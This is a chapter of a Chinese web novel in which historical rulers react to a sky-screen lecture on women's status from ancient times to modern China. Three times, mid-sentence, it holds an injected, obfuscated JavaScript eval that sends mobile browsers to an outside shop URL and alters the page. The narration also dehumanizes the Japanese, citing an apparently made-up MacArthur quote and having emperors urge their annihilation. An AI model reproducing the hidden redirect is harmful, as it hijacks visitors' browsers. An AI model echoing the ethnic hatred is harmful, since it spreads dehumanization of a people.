明代王立道《跋叶母还金传》：“予每读《史记·货殖传》，至巴寡妇清，未尝不叹子长之多爱而讥其谬也。夫传货殖已非所以为训，清以一妇人而且得托名不朽，贪夫窭人将日皇皇焉！ 表现其维护传统儒学义利观，及对清作为妇人的性别歧视。 由推崇，到压迫，再到歧视，可知封建社会中，女性社会地位是不断下降的。】 “我们现在不就是为地主耕田吗？原来天幕说的封建社会，是这个封建啊。” “地主的生活过的真好，我的祖宗为啥没当上地主呢。” “封建，不就是封土建邦吗？是分封制我知道，可我们现在为何是郡县制呀？” “巴清，这不是我们巴郡人吗？是个大商人，我表哥还在他们商队呢。” “这什么宋代和明代，说的啥，还敢压迫、歧视我们女人，看我一拳一个。” …… 【说到巴清，不得不澄清一下，她与秦始皇的野史。 有传闻说，秦始皇之所以不立皇后，是因为巴清。 据汉墓出土《王杖诏书令》简册记载：“年六十以上毋子男，为鲲；女子年六十以上毋子男，为寡。” 由此推断，巴清在见到秦始皇的时候，至少已经60多岁了。见到秦始皇之后，巴清应该又活了数年才去世。史料中记载，巴清是在公元前220年去世的，当时的秦始皇39岁，这也就是说，巴清至少比秦始皇大了将近20-30岁。 我们有理由推断，秦始皇不立皇后，不可能和巴清有关，虽然她被秦始皇褒扬，并且为她筑了怀清台，也仅仅是因为他欣赏巴清的才能罢了。 虽说正史不一定保真，但野史一定够野。 通过男女间的绯闻，如此编排一位女子，是真的贬低了秦始皇，也真的藐视了巴清，无视了她本身的才干。】 “……”沉默是今天的秦始皇。 “哈哈哈哈哈，乃公真想看看始皇帝的反应，脸色一定很精彩。”这是刘老三刘邦。 “就知道造谣女子，这不会是某些男子的无能狂怒吧。” …… 【史书中，有关女性《列女传》也可以论证这一观点。 班固《汉书·刘向传》：“向睹俗弥奢淫，而赵、衞之属起微贱，逾礼制。向以为王教由内及外，自近者始。故采取诗书所载贤妃贞妇，兴国显家可法则，及孽嬖乱亡者，序次为《列女传》，凡八篇，以戒天子。” 大意为：光禄大夫刘向见赵皇后秽乱，引经据典，搜罗昔时贤后贞妇，兴国保家之事，写成了一册《列女传》。呈献汉成帝作为讽劝，力斥孽嬖为乱亡之征兆，以盼望朝廷有所警悟。 《列女传》通过表彰美善，歌颂古代妇女高尚品德、聪明才智以及反抗精神，劝讽宫闱，感悟天子，宣扬封建伦理道德。 《晋书·卷九十六·列传·第六十六·列女·王凝之妻谢氏》： “王凝之妻谢氏，字道韫，安西将军奕之女也。聪识有才辩。……俄而雪骤下，安曰：「何所似也？」安兄子朗曰：「散盐空中差可拟。」道韫曰：「未若柳絮因风起。」安大悦。” 这个大家都学过，咏絮之才从谢道韫起。 《三字经》：“谢道韫，能咏吟。”足见其才华。 说到谢道韫，不得不提她对丈夫王凝之的嫌弃，和面对叛乱的智勇。 《世说新语·贤媛·第十九》：“王凝之谢夫人既往王氏，大薄凝之；既还谢家，意大不说。太傅慰释之曰：‘王郎，逸少之子，人身亦不恶，汝何以恨乃尔？’答曰：‘一门叔父，则有阿大、中郎；群从兄弟，则有封、胡、遏、末。不意天壤之中，乃有王郎！’” 意思是：王凝之的妻子谢夫人嫁到王家后，很是看不上凝之；回谢家后，心里非常不高兴。太傅谢安安慰、开导她说：“王郎是王羲之的儿子，人品和才学也还不错，你怎么这么不满意啊？”谢夫人回答：“我们谢家的叔父里头，就有阿大、中郎这样的人物；本家兄弟，就有封、胡、遏、末这样的人物。没想到天地之间，竟有王郎这样的人！” 这潜台词不就是说王凝之是"窝囊废"嘛。姐姐一针见血啊，下面这件事正好印证了。 《晋书·卷九十六·列传·第六十六·列女·王凝之妻谢氏》： “会稽内史王凝之，羲之之子也，世奉天师道，不出兵，亦不设备，日于道室稽颡跪咒。官属请出兵讨恩，凝之曰：‘我已请大道，借鬼兵守诸津要，各数万，贼不足忧也。’及遭孙恩之难，举厝自若，既闻夫及诸子已为贼所害，方命婢肩舆抽刃出门。乱兵稍至，手杀数人，乃被虏。其外孙刘涛时年数岁，贼又欲害之，道韫曰：‘事在王门，何关他族！必其如此，宁先见杀。’恩虽毒虐，为之改容，乃不害涛。” 大意为：当时谢道韫的丈夫、王羲之的儿子王凝之担任会稽内史，十分迷信当时流行的五斗米道教。部下劝王凝之早作迎战的准备，而犯糊涂的王凝之却闭门不出，在屋子里做祈祷，并说已经向所谓的天师借了数万阴兵来把手各处险要，到时候贼兵自己会溃败而走的。等到后来遭受孙恩作乱，她的行动一如既往，不久听说丈夫和几个儿子已经被孙恩杀害，就命令婢女抬着轿子拿着刀出门突围。乱兵一会儿就追上来了，谢道韫亲手杀了几个乱兵，才被俘虏。她的外孙刘涛当时才几岁，孙恩又想杀害他，谢道韫说:“这事出在王家，与其他家族的人有什么关系?一定要这么做的话，宁可先杀了我。”孙恩虽然歹毒残暴，也因谢道韫的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13581231|143112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大义凛然而折服，改容相待，于是没有杀刘涛。 与王凝之的迷信糊涂不同，谢道韫积极迎战，在乱兵之中，白刃加身，还能慷慨陈词，保护幼弱的外孙，愿意自己先死，以至孙恩也为之改容，刀下留人，保全了自己和外孙。其面对死亡毫不畏惧的胆略和血性，赴死前“神色不变”的淡定从容，又何逊临刑弹琴的嵇康、“小儿辈破贼”的谢安？】 “真奇女子也！” “文能咏絮,武能提刀，巾帼不让须眉！” “如果选择夫婿，一定要擦亮眼啊。” “王凝之，平庸又迂腐，也就书法还看得过眼了。” “这不是阴兵没请来，自己却变成阴兵了吗？” 【诶，跑题了，我们继续说回《列女传》哦。 成书于唐代贞观二十二年的《晋书·列女传》，表达明确的个体意识，注重自身才识和技艺，相对忽视传统三从四德的“妇道”。 该说不说，唐代的风气还是相对不错的。 《新唐书·卷二百〇五·列传第一百三十·列女》 “房玄龄妻卢，失其世。玄龄微时，病且死，诿曰：‘吾病革，君年少，不可寡居，善事后人。’卢泣入帷中，剔一目示玄龄，明无它。会玄龄愈，礼之终身。” 大意为：唐朝宰相房玄龄的妻子卢氏，不知道家世如何。在房玄龄尚未成名时，一次病的很重，将要死去，便劝妻子在自己死后改嫁他人。妻子卢氏转身进入卧室，挖下一只眼睛给房玄龄看，以此来表示生死相依的决心。后来，房玄龄病愈，一直对妻子恩爱有加。 道学的兴盛，为这一时期《列女传》的贞烈标准提供了思想支撑，封建卫道士们以“存天理，灭人欲”、“饿死事小，失节事大”等理论对民众进行洗脑。 就……很离谱。宋代编纂新唐书，就夹带私货对吧。 《明史·列传·第一百九十·列女二》： “李氏，东乡何璇妻。璇客死。李有殊色，父迫之嫁。遂以簪入耳中，手自拳之至没，复拔出，血溅如注。姑觉，呼家人救，则已死矣。” 意思为：李氏是东乡何旋的妻子。何旋客死他乡，李氏年轻漂亮，他父亲强迫她改嫁。李氏遂把银簪刺进耳中，并用拳头狠击，以至于银簪尽数刺入脑内，然后再拔出，血溅如注。等到家人发觉相救时，“则已死矣”。 明清的贞节观念已然“登峰造极”，认为“女子名节在一身，稍有微瑕，万善不能相掩。” 《明史·列女传》共收录列女260余人，其中烈女的人数，超过了前代《列女传》的总和 《清史稿》中记载了559名女性，有294人以自杀的方式结束自己的生命，其中不乏贞女、烈女。 从记载历史上的各类传奇女子，到鼓吹受迫害的贞洁烈女，这是封建礼教强加于史书的结果。 从西汉到明清，女性地位与生存环境的变化，一目了然。】 “天幕如此说，是贞洁烈女，有何不对吗？” “存天理，灭人欲。朱子怎么可能不对。天幕休要鼓惑人！” “那个用银簪自尽的女子，是有着什么样的决心啊？我真的不明白。” “后面朝代的女子，竟都被如此摧残吗？太可怕了。” “贞洁哪有活着重要，邪恶儒教尽是教坏人！” …… 5. 女性地位 【接下来，我们来讲近代史，近代史是半殖民地半封建社会的历史。 半殖民地半封建社会，是指在形式上保留有封建社会国家机关及主权所有，同时在经济、政治、文化上受到外国资本主义国家控制与压迫的社会。 从1840年鸦片战争失败开始，清政府相继与五十余国签订不平等条约，致使社会性质沦为半殖民地半封建社会。 与此同时，也进入旧MZ主义革命阶段。 由于西方列强用坚船利炮打开了清政府闭关锁国的国门，西方“天赋人权”、“人生而平等”等理念也进入国内，冲刷着传统的君权与父权至上的观念。 同时期，“男女平等”的理论、女性解放的思想也随之进入国人视野，这是近代男女平权的女权意识的最初形态。 “凡分田，照人口，不论男妇，算其家人口多寡，人多则分多，人寡则分寡，杂以九等。” 太平天国颁布的《□□田亩制度》中，土地的分配仅以年龄为标准，而不因性别而有差异。男女具有相同的分得土地的权利，也就是说，女性具有了在小农经济时代的生存基础，一定程度上不再作为男性的附庸。 尽管太平天国运动中男性仍有一定特权，但人们的性别观念也逐渐有所松动，女性的社会地位，也在悄然变化。】 “再听这些内容，还是心口疼。” “闭关锁国？！后面的朝代，这么自大吗？怎么敢的啊？” “除了鞑子，洋人，也不能小看啊。” “坚船利炮，我大明的还是很厉害的，这个清……是太弱，还是洋人太强啊？” “想到那么多钱，拿来造船造炮，不比给洋人强吗？他们这脑子……” “男女平等？人生而平等？可笑！这怎么可能，我是不可能和女人，还有奴才一样平等的！” “这太平天国是哪个？还给女人分地，嘶……” 【而戊戌变法，首先提出了以“自养、自知、自强”为宗旨的新时期的女学，女学的兴起和“不缠足运动”，对女性社会地位的提高具有重要影响。 这一时期的得到发展的留学风潮，也使得华夏女性开始走出国门，为革命运动做出了巨大贡献。同时，她们代表着华夏女权主义的兴起，女性的社会地位开始有明显的改变。 严复在《论沪上创兴女学》中说：“泰西妇女皆能远涉重洋，自去自来，故能与男子平权。我国则苦于政教不明，虽有天资，无能为役。盖妇女之不见天日者久矣。故使中国之妇女自强，为国政至深之根本，而妇女之所以能自强者，必宜与可强之权，与不得不强之势。” 这个大家都能看懂吧，我就不说大致意思了。】 “女学，我们不是也有吗？女权是啥？不会还想和我们男人争权力吧？” “缠足……后世女子还要把脚缠起来吗？这是什么做法，怎么看不懂呢。” “这天幕，是真要让女人翻天啊……” “变法，看前面的时间线，这变法一定失败了。” “女子无才便是德，女人读什么书啊，读得啊心都飘了。” …… 【说到女子不缠足、女学，以及留学，有一个不能忽略的女性，值得我们来聊聊。 她就是秋瑾，中国女权和女学思想的倡导者，是为推翻封建统治而牺牲的烈士，被人们视为近代中国女性革命的一面旗帜。 受到男女平权观念的影响，她为反抗男权与夫权，离家出走，东渡日本留学。 从家庭革命开始，逐渐转向社会革命，为近代华夏的妇女解放事业做出了卓越的贡献，成为后世华夏女性的楷模。 她曾写下：足儿缠得小小的，头儿梳得光光的；花儿朵儿札的镶的戴着；绸儿缎儿滚的盘的穿着；粉儿白白脂儿红红的搽抹着。一生只晓得依傍男子，穿的吃的全靠着男子。身儿是柔柔顺顺的媚着，气虐儿是闷闷的受着，泪珠儿是常常的滴着，生活儿是巴巴结结的做着，一世的囚徒，半生的牛马。 现在我们打工人，自嘲是“牛马”，可谁又真正了解过女人“半生的牛马”呢。】 “这位女子的勇气、胆气、聪慧、韧性，可真令我感佩，真想结识一番啊。” “什么！反抗夫权，为人妻不三从四德，是要被休弃的。” “她写的这女子，不就是我，不就是你，不就是她吗？我们是一世的囚徒，半生的牛马啊。” “被囚禁在后院，大门不出，二门不迈，何其可悲。” …… 【戊戌变法中，首次官方要求，不缠足。 康有为《请禁妇女裹足折》中写：“夫父母抚子，以慈为义，女子体弱，尤宜爱护。乃乳哺甫离，髫（tiáo）发未燥，筋肉未长，骨节未坚，而横絷（zhí）弱足，严与裹缠，三尺之布，七尺之带，屈指使行，拗骨使折，拳挛霊（líng）霊，跼（jú ）地雸（án）天，童女苦之，旦旦啼哭；或加药水，日夕熏然，窄袜小鞋，夜宿不解，务令屈而不伸，纤而不壮，扶床乃起，倚壁而行……” 意思是：父母抚养子女，应当慈爱有加，女子体弱，更应当多加爱护，竟然在刚刚断奶、胎发未干、筋肉未长全、骨骼没长硬的时候，蛮横地裹她们的幼嫩的脚，用三尺长的布、七尺长的带子将脚趾裹成弯曲，将趾骨缠断。她们走起路来步子小，缩手缩脚，年幼女童痛苦不堪，天天啼哭。为了将女童的脚裹成三寸金莲，有的用药水洗脚，日夜用药熏，还让她们穿窄袜小鞋，即使睡觉时也不让脱掉，一定将女童的脚趾裹成弯屈，无法自然伸展，将脚裹成纤细弱小，导致她们只有扶着床才能站立，倚着墙才能走路。 这缠足的文字写的真的很有画面感，看的人心惊胆战，可怖如斯。 而正是由于对女性权利的认识，才有了“不缠足运动”，也因此，女性得到进一步解放，女性地位也得到了进一步地认可。】 “缠足，这是酷刑啊，怎么每个女子都要受酷刑啊。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13581232|143112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “嘶……光想一下就觉得疼，这……缠足了还怎么做事啊。” “是谁要女人缠足的？！老娘去杀光他们！” “如果缠足好的话，男人怎么不缠足啊，是因为不喜欢吗？那为何还让女人缠足？” “气死我了，气死我了……” “呃……不是所有女子都要缠足吗？我小时候因为怕疼不想缠足，被打了好几次。” “我娘说，缠足好，可天幕怎么说不好啊。” …… 【到了辛亥革命，此次革命在政治上、思想上给华夏人民带来了不可低估的解放作用。开创了完全意义上的近代民族民主革命，推翻了统治华夏几千年的君主专制制度。 新革命知识女性，关心国事、振兴女学、创办报刊、组建女性团体、办实业、投身反清革命、争取男女平权，为妇女解放奠定了思想基础。 同时积极倡导放足，从束胸到放胸，从结婚必须遵从父母到自由恋爱，从必须遵从丈夫到男女平等，这些都是女性地位提高的体现。 这一时期，华夏妇女界首次旗帜鲜明的提出了“妇女要求参政”的口号，然终以失败收场。 1912年2月，临时参议院制定《中华民国临时约法》。 唐群英于2月26日递交《女界代表唐群英等上参议院书》：“兹幸神州光复，专制变为共和……欲求社会之平等，必先求男女之平权；欲求男女之平权，非先予女子参政权不可……请于宪法正文之内，订明无论男女一律平等，均有选举权及被选举权……” 孙中山先生在他复函“同盟会女同志”时称：“……至党纲删去男女平权之条，乃多数男人之公意，非少数可能挽回……” 旧民主主义革命期间，随着女性自我意识的觉醒，越来越多的女性主动扛起女性解放的旗帜，努力为自身争取与男性平等的权利和地位。 新思想、新事物与旧观念、旧势力的抗争与消长，从不缠足运动的兴起，到女学堂、女报、女子团体的创立，再到男女平等、婚姻自由等理念的传播，近代华夏的女性解放事业取得了一定的进展。 但从晚清至民国，由于传统宗法制根深蒂固，民主法制的不完善等原因，男女平等、女性参政、地位进一步提升还有很长的路要走。】 “推翻……推翻君主专制制度……就是……就是说，没有……没有皇帝了？！” “女人投身革命，能有什么好结果啊。抛头露面，也没人管。” “那个时候的女子，真好啊，可以走出家门了，还不要裹脚、束胸，真好啊。” “真的能自由恋爱吗？那有情人就不会被父母强制拆散了吧……” “荒唐！女人参政，真是心大了！国家大事，女人懂什么？” “看吧，果然失败了。还是我们男人懂男人啊。冒出来也得给你按下去。” “女人，真难啊……那……我们是不是现在就可以做些什么，为女人、为未来……” …… 6. 女性地位 【为反对资产阶级在国内实行资产阶级民主政治及封建军阀统治，新文化运动兴起。 1915年陈先生创办《新青年》，以“民主”“科学”为口号，猛烈抨击以孔子为代表的“往圣先贤”，在社会上掀起了一股思想解放的潮流。同时对五四爱国运动起了宣传动员作用。 1919年第一次世界大战期间，日本趁机加强对华夏地侵略，严重损害了华夏的主权。 巴黎和会拒绝了华夏代表的正义要求，把德国在山东的权益转让给日本。 以工人阶级为主力的全国规模的群众爱国运动——五四运动在北京爆发。 是华夏人民彻底的反对帝国主义、封建主义的爱国运动，同时马克思主义在华夏传播开来，成为新思潮的主流。 这是华夏新民主主义革命的开端。 说到这里，就不得不提巴黎和会“弱国无外交”这句话。 提到巴黎和会，就不得不提近代以来日本对华夏的战争和侵略野心。 我们来对照着地图具体说一下日本对华战争： 【古代】 663年，唐朝，白江口之战 1274年/1281年，元朝，元日战争 1592年/1597年，明朝，万历朝鲜战争 【近代】 1874年，日本对华战争，出兵台湾，7个月后，清政府签订《北京专约》，赔偿50万两，日本撤军。 1894年，甲午战争，清政府北洋水师全军覆没，清政府签订《马关条约》，割让辽东半岛、台湾和澎湖列岛，赔偿军费白银2亿两，开放沙市、重庆、苏州、杭州等地为商埠，允许日本人在华夏通商口岸任意设立领事馆和工厂等。 1898年，清政府签订条约，日本取得在福州建立专管租界的特权。 1900年，八国联军秦华，清政府签订《辛丑条约》，日本从华夏勒索大量赔款，获得在北京和从北京到山海关铁路沿线一些要点的驻兵特权。 1905年，日俄签订《朴次茅斯条约》，将俄国在辽东半岛包括旅顺和大连的租借权及附属的一切权益、长春至旅大铁路及其一切支线和所属一切特权、包括煤矿在内的一切权益转让于日本。在南满铁路线留下1个师团和若干守备队，建立关东军，在奉天至旅顺之间的铁路线上长期驻屯，以后又将驻屯点向北扩展到长春。 1906年，日本建立“南满洲铁路株式会社”，管理除铁路之外的矿山、港口、行政区域、文化和科研机构及情报组织。 1914年，出兵占领德国在华租借地青岛，进而控制山东。 1915年，日本向袁世凯政府提出 “二十一条”要求：承认日本继承德国在山东的一切权利并享有租界土地、修筑铁路的独占权；旅顺、大连的租借期限和南满、安奉铁路的管理期限均延长为99年，允许日本在南满和东蒙享有包括土地租借或所有权，以及居住权、工商经营权、建筑铁路和开采矿山的独占权；汉冶萍公司改为中日合办，附近矿山不准公司以外的人开采；沿海港湾岛屿概不得租借或割让与第三国等条款。掌握控制中国的政治、财政、警察、军队的权力及湖北、江西和广东之间重要铁路的建筑权等。 1919年4月，日本在华夏正式建立“关东军司令部”，统一指挥驻东北的日军。关东即中国山海关以东的东北广大地区。关东军是日本帝国主义常驻华夏东北的一支殖民军队，以武力阻止中国统一。 1927年，日本首相提出“向大陆发展乃是我民族生存之根本”，并称“侵占华夏的实现”是其内阁的重大使命之一。召开了以解决“满蒙政策”为中心议题的“东方会议”，制定了要把东北从华夏分离出来，或者武力解决“满蒙问题”的方针。 1928年，日军大举进攻济南，杀害军民3000余人，造成“五三”惨案。关东军在南满铁路上埋设炸药，制造“皇姑屯炸车案”。 1931年，日本侵略者在沈阳制造了震惊中外的“九一八事变”，挑起侵华战争，东北三省全境沦陷。 1935年，日本帝国主义为侵占华北而蓄意制造了一连串事件，总称“华北事变”。 1937年，日军驻屯军制造“卢沟桥事变”，全国抗日战争爆发。在上海制造“虹桥机场事变”，蓄意扩大侵华战争规模， “八一三”淞沪会战爆发。 1938年，日军占领广州、武汉。 1941年，太平洋战争爆发，华夏抗日战争成为世界反法西斯战争的重要组成部分。 1945年，8月15日日本政府宣布无条件投降。9月2日日本代表在美军“密苏里号”战列舰上签订无条件投降书。 至此，华夏经过艰苦卓绝的战斗，取得了抗日战争的伟大胜利。 日本就是这样一个民族，那股冷血和高傲是深入到骨子里的，只有把它按到地上狠狠地捶，一遍又一遍地捶，直到捶得它体无完肤，捶到它求生不得求死不能，它才会服你，才会心服口服。 在华夏近代历史进程中，日本不是华夏最强大的敌人，却是华夏最危险的敌人；不是最早打进华夏大门的敌人，却是欺凌华夏最恶贯满盈的敌人，它从来就没有远离过，一直在虎视眈眈。 从历史上看，日本这个民族就是有记吃不记打的特征，崇拜强者，甘愿被强者奴隶的心态极为严重，对他来讲，只有打趴他，才能让他真正地服气。 正如麦克阿瑟说的：“对日本人，你将其当畜牲看待，它才敬畏你；你打败他,打得心服口服，他自愿把他的老婆女儿叫来陪你睡。对日本用铁拳才是真理”。 （这里是原句，献女人是日本一贯传统，也是女性苦难史。） 有时候忍不住会想，如果我们历史上那些有作为的帝王，知道日本石见银山有大量银矿、铜矿，佐渡金山有大量金矿后，会不会果断出兵。 这些都是想象，面对现实我们不能遗忘历史，只有通过了解、记忆和传承历史，我们才能铭记曾经的痛苦，警醒未来。 我们要坚守历史真相，绝不能让历史的苦痛重演！】 “李斯，你说这日本，我们目前是否可取之？”这是秦始皇。 “桑弘羊，我们现在能去开采金矿和银矿吗？这样我们攻打匈奴就有钱了。”这是汉武帝。 “陛下，臣等请出战倭国，即使不为金矿银矿，也得提前拔除几十年后的隐患。”这是唐太宗时期。 “赵普，我们取了倭国，燕云十六州即在囊中了吧。”这是宋太祖。 “陛下，这区区倭国竟敢来战，我们蒙古儿郎岂可不直取之。”这是刚定国号的元朝。 “什么，老子看他们如苍蝇一般懒得理会，后面竟敢进犯我大明，徐达、文忠、沐英，你们商讨个倭国灭国方案来。老子就是要他们直接消失。”这是洪武初年的明太祖。 “明珠、索额图，后世子孙被区区小国如此欺辱，你们商量一下递个折子上来。”这是康熙。 “什么！！！如此弹丸小国，竟敢入侵宗主国！” “既然如此，我们何妨出兵把它给灭了，也好给子孙留一个太平后世。” “不止要狠狠地捶，要让他们亡国灭种才好呢。” …… 【每次说到日本侵华战争，就一肚子气，忍不住暴躁。 让我收一下火气，我们来说回巴黎和会。 1914年第一次世界战争爆发，北洋政府选择中立，公布《中华民国局外中立条规》。 两天后，日本即封锁胶州湾海面，阻止中德有关归还胶州湾的磋商，且阻挠华夏参与一战。 1915年日登陆山东龙口，进军胶州，将整个山东独占为势力范围。 并以山东为据，虎视华夏，实施战略威压，向袁世凯提出灭亡华夏的“二十一条”。 直至1917年，日本在秘约中得到协约国承认其 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13581233|143112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在山东的权益及其它在华权益后，不再阻挠华夏参战。 华夏加入协约国，对德宣战，日本惧怕华夏派兵会获得外交优势。 导致华夏未能派兵，但 “以工代兵”，向协约国派遣了数次劳工，并送去了大批粮食。 1918年，一战结束，协约国胜利。 1919年，巴黎和会，《凡尔赛和约》中列强将德国在山东的权益转给日本。 面对如此结果，华夏代表拒绝在和约上签字。 华夏作为战胜国，合法权益却被牺牲。 这就是“弱国无外交”的由来。 说完这些，我们再来说回五四运动。 五四运动，孕育了以爱国、进步、民主、科学为主要内容的伟大五四精神，提出了“打倒孔家店，救出孔夫子”、“推倒贞节牌坊”等口号，进一步促进了反封建思想的发展。 这场运动，也是中国女性解放和男女平权的分水岭，是有史以来，女性第一次上街游行和集体参政。 此次妇女解放运动，是华夏第一次波及全国的妇女解放运动，大批的新女性，第一次在华夏诞生。 “(这是)中国有史以来女子第一次的干政游行”。——女高师程俊英 《新青年》开辟“女子问题”专栏，抨击“夫为妻纲”、“三从四德”、“从一而终”等封建旧道德造成的女性依附地位。 在“开放女禁”呼声下，1919年，北京大学、南京高等师范、岭南大学开始破例招收女生。 然而女性觉醒之后，面临着何去何从的问题。 如鲁迅说：“人生最苦痛的是梦醒了无路可以走。” 道出新女性的解放是摆脱传统家庭的伦理束缚。仍然要受到男性主导的经济和社会制度的支配。 争取经济独立，在家庭关系和社会关系上实现男女平权，是女性经济独立的基础。 恩格斯说：“妇女解放的第一个先决条件就是一切女性重新回到公共的事业中去；而要达到这一点，又要求消除个体家庭作为社会的经济单位的属性”。 女权组织掀起开辟女子职业、促成女子经济独立的运动。 然而女性就业，面临着同工不同酬、劳动环境恶劣、超体力劳动、缺乏劳保等种种不平等待遇。 “中东路各附属机关，向来女职员很多，如女电务生、学校女教师、女办事员、医院产妇（护理员）、女医生等”，但“男职员不但其本身享用免费车票、免费就医，即其眷属，亦可享用；而女职员概无此种权利。” 由此可见，近代华夏民族、阶级矛盾异常尖锐，男权势力依然强大。 尽管五四运动在女性权益方面带来了巨大的积极影响，为女性争取了平等地教育权益，强化了女性的社会参与意识和能力，推动了妇女解放和平等的社会观念。 但五四运动后的社会变革并不完全成功。 仍需要女性的不断争取与努力。】 “弱国无外交，说得好啊，可不就是这个道理，我们大唐面对小国……” “打到啥？救出谁？！” “孔子和孔家不是一体的吗？” “推倒贞节牌坊？反了，反了，糊涂啊，怎么能推倒贞节牌坊呢？那女人还不翻了天了！” “看着真解恨啊！什么屁的贞节牌坊，都是用人命、用鲜血换的！” “女子干政？！倒反天罡！倒反天罡！” “抨击夫为妻纲、三从四德、从一而终？？你们……你们连周礼都不顾了！！！” “招收女学生？女子读书有什么用，看看这不都心大了要干政了嘛！” “女电务生、学校女教师、女办事员、医院护理员、女医生，女人都出去抛头露面了，谁相夫教子？谁管后宅？谁教养子女？这部全乱套了吗？” “真羡慕后世啊！我……我们……什么时候也能这样就好了，哪怕……哪怕只是随意上街呢。” …… 7. 女性地位 【从1840年鸦片战争开始的100余年中，华夏大地上经历了侵略与反侵略、奴役与反奴役、压迫与反压迫地斗争，这是屈辱的百年史，也是华夏民族不屈不挠的抗争史。 在百年民族救亡史上，华夏女性也在以不同的方式，贡献着自己的力量。 伴随着民族解放斗争的浪潮，她们从千百年来家庭附属品的角色中，走向抗争压迫、侵略的第一线，谱写了挽救民族危亡的壮丽诗篇。 奴隶社会、封建社会以来，对女性不断叠加的桎梏，终不能束缚她们光辉。 伴随解放战争的胜利，华夏揭开社会主义革命和建设的新的一页。 1949年1月，北平宣布和平解放。 3月，华夏妇女第一次全国代表大会在北平召开，决定成立中华全国民主妇女联合会，通过《中华全国民主妇女联合会章程》。 9月，第一届华夏人民政治协商会议在北平召开，会议通过了《政治协商会议共同纲领》：“废除束缚妇女的封建制度。妇女在政治的、经济的、文化教育的、社会的生活各方面，均有与男子平等的权利。实行男女婚姻自由。” 1950年，新华夏第一部法律《婚姻法》明确废除了包办、强迫婚姻、男尊女卑，确立了婚姻自由、一夫一妻、男女权利平等、保护妇女和子女合法权益的婚姻制度。 1951年，《中华人民共和国劳动保险条例》，明确女职工产假待遇，规定产假时间、工资、费用等。 9月，《保护女工暂行条例》(草案)，明确禁止虐待、打骂、侮辱、或歧视女工，与男性同工同酬，设置托儿所、哺乳室，禁止借故开除或变相辞退怀孕或生育的女工 1953年，通过《全国人民代表大会及地方各级人民代表大会选举法》：“妇女有与男子同等的选举权和被选举权。” 1954年，第一部宪法规定了妇女在政治、经济、文化、社会和家庭生活各方面享有同男子平等的权利。 1988年，中央组织部、全国妇联还联合下发《在改革开放中加强培养选拔女干部工作的意见》。 2015年，通过《反家庭暴力法》，作为首部反家暴法，为在家庭中遭受暴力的弱势女性群体提供了法律的依据和保障。 2020年，通过《民法典》，规定家务劳动等价经济补偿请求权，为离婚的家庭主妇获得经济补偿提供了法律依据。 ……】 “妇女联合会，妇女联合，女人联合起来也是不容小觑的啊。太平、婉儿，这天幕说的你们可有什么想法？”这是武皇。 “朕从不小看女人，这么看，也不是不能变一下，就先从，几个公主开始吧，看看能不能带来什么惊喜。”这是秦始皇。 “娥姁，你确定还要扶持太子吗？不妨，我们再谈一下？”这是刘邦。 “班大家，吾欲征召一批女子来，你可有什么想法？”这是邓绥。 “禁中设置有许多女官，朕也有让女子工作呢。”这是宋徽宗。 “妹子，咱也不是不懂变通的人，你让咱好好想想。”这是朱元璋。 “四妹妹恪靖那种女子，还是太少了，那么多公主嫁到蒙古，也只有她……”这是雍正。 【新华夏地诞生，结束了女性数千年来被压迫、被奴役的历史。 婚姻法运动、土改运动、普选运动、扫盲运动、废娼运动等，从根本上保证了女性的各项平等权利。 第一个女火车司机、第一个女飞行员、第一个女拖拉机手……各行各业都不断涌现出女性先进工作者的代表。 一部部法律、规定的出台，包含无数女性抗争、奋斗的曲折过程，致力于实现在各个领域享有与男性平等的权利和机会。 改革开放之后，外来文化为国人打开了新的世界，生活变得更加多元和自由。 女性拥有了更加独立的自我认知，对自身定位及生活方式，也有了更大的选择自由。 然而，随着改革开放地深入，不少男性开始具有独立支撑整个家庭的能力，出于生活需要，一些女性选择重新回归家庭，全职主妇大幅上升。 “男主外，女主内”的观念、“干得好不如嫁得好”的思想、“你负责整挣钱养家，我负责貌美如花”之类的言论更是甚嚣尘上。 女性又开始面临，被男性占有和消费、成为社会消费品趋势的危险。 这种言论所宣扬的女性不劳而获，凭空占据绝对利益和权利的价值观，看似抬高女性地位，实质上却在物化女性。 将女性与自己劳动所创造的价值剥离开来，置入被男性豢养的“玩偶”“宠物”的角色。 